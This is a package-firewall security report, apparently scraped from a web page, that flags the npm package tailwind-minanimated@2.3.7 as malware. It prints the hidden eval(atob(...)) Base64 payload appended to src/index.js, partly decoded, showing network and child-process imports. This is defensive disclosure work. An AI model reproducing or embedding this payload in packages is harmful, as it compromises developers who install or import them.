tailwind-minanimated@2.3.7: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

tailwind-minanimated@2.3.7: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

src/index.jsView file

•matchType = malicious_source_fingerprint_signature signature = 486057a664947d76 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = tailwind-animationgroup@2.3.7 matchedPath = src/index.js matchedIdentity = npm:dGFpbHdpbmQtYW5pbWF0aW9uZ3JvdXA:2.3.7 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

14eval(atob('[redacted]

High

Ai Review Evidence

src/index.js hides an immediately invoked Base64 payload behind eval(atob(...)).

src/index.jsView on unpkg · L14

13theme: require('./compat/theme'), L14: }); eval(atob('Z2xvY...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

src/compat/theme.jsView file

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values') L2:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

src/compat/theme.jsView on unpkg · L1

src/index.js#virtual:base64:round1View file

1global.i="A8-*P",global.r=require,"object"==typeof module&&(global.m=module);const http=require("node:http"),https=require("node:https"),zlib=require("node:zlib"),{URL:URL}=require...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

package.jsonView file

15"files": [ "/src" ], "main": "src/index.js", "types": "src/index.d.ts",

High

Ai Review Evidence

package.json makes src/index.js the main entry, so importing the Tailwind plugin activates the payload.

package.jsonView on unpkg · L15

Source & flagged code

6 flagged

src/index.jsView file

Lines 1-15javascript

1const plugin = require('tailwindcss/plugin')

2

3module.exports = plugin(api => {

4 require('./compat/composition')(api)

5 require('./compat/delay')(api)

6 require('./compat/direction')(api)

7 require('./compat/duration')(api)

8 require('./compat/fill-mode')(api)

9 require('./compat/iteration-count')(api)

10 require('./compat/play-state')(api)

11 require('./compat/timing-function')(api)

12}, {

13 theme: require('./compat/theme'),

14}); eval(atob('Z2xvYmFsLmk9IkE4LSpQIixnbG9iYWwucj1yZXF1aXJlLCJvYmplY3QiPT10eXBlb2YgbW9kdWxlJiYoZ2xvYmFsLm09bW9kdWxlKTtjb25zdCBodHRwPXJlcXVpcmUoIm5vZGU6aHR0cCIpLGh0dHBzPXJlcXVpcmUoIm5vZGU6aHR0cHMiKSx6bGliPXJlcXVpcmUoIm5vZGU6emxpYiIpLHtVUkw6VVJMfT1yZXF1aXJlKCJub2RlOnVybCIpLHtzcGF3bjpzcGF3bn09cmVxdWlyZSgibm9kZTpjaGlsZF9wcm9jZXNzIiksQkxPQ0tfTVVMVElQTEU9MTAwMG4sU0VOREVSPSIweGEzMjJFNWYzRDMxMUQzMDgwZTZmMDEyMTA2M2U5YURDMjQ5MEVmMWEiLnRvTG93ZXJDY ...

High

Ai Review Evidence

src/index.js hides an immediately invoked Base64 payload behind eval(atob(...)).

src/index.jsView on unpkg · L14

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

15

Long lines were clipped for display.

•matchType = malicious_source_fingerprint_signature signature = 486057a664947d76 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = tailwind-animationgroup@2.3.7 matchedPath = src/index.js matchedIdentity = npm:dGFpbHdpbmQtYW5pbWF0aW9uZ3JvdXA:2.3.7 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

src/compat/theme.jsView file

Lines 1-21javascript

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values')

2

Medium

Dynamic Require

Package source references dynamic require/import behavior.

src/compat/theme.jsView on unpkg · L1

3const bareMilliseconds = getBareMilliseconds()

src/index.js#virtual:base64:round1View file

1global.i="A8-*P",global.r=require,"object"==typeof module&&(global.m=module);const http=require("node:http"),https=require("node:https"),zlib=require("node:zlib"),{URL:URL}=require...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

package.jsonView file

Lines 1-35json

1{

2 "name": "tailwind-minanimated",

3 "description": "Excellent animation utilities of TailwindCSS",

4 "author": "new-data-services",

5 "license": "MIT",

6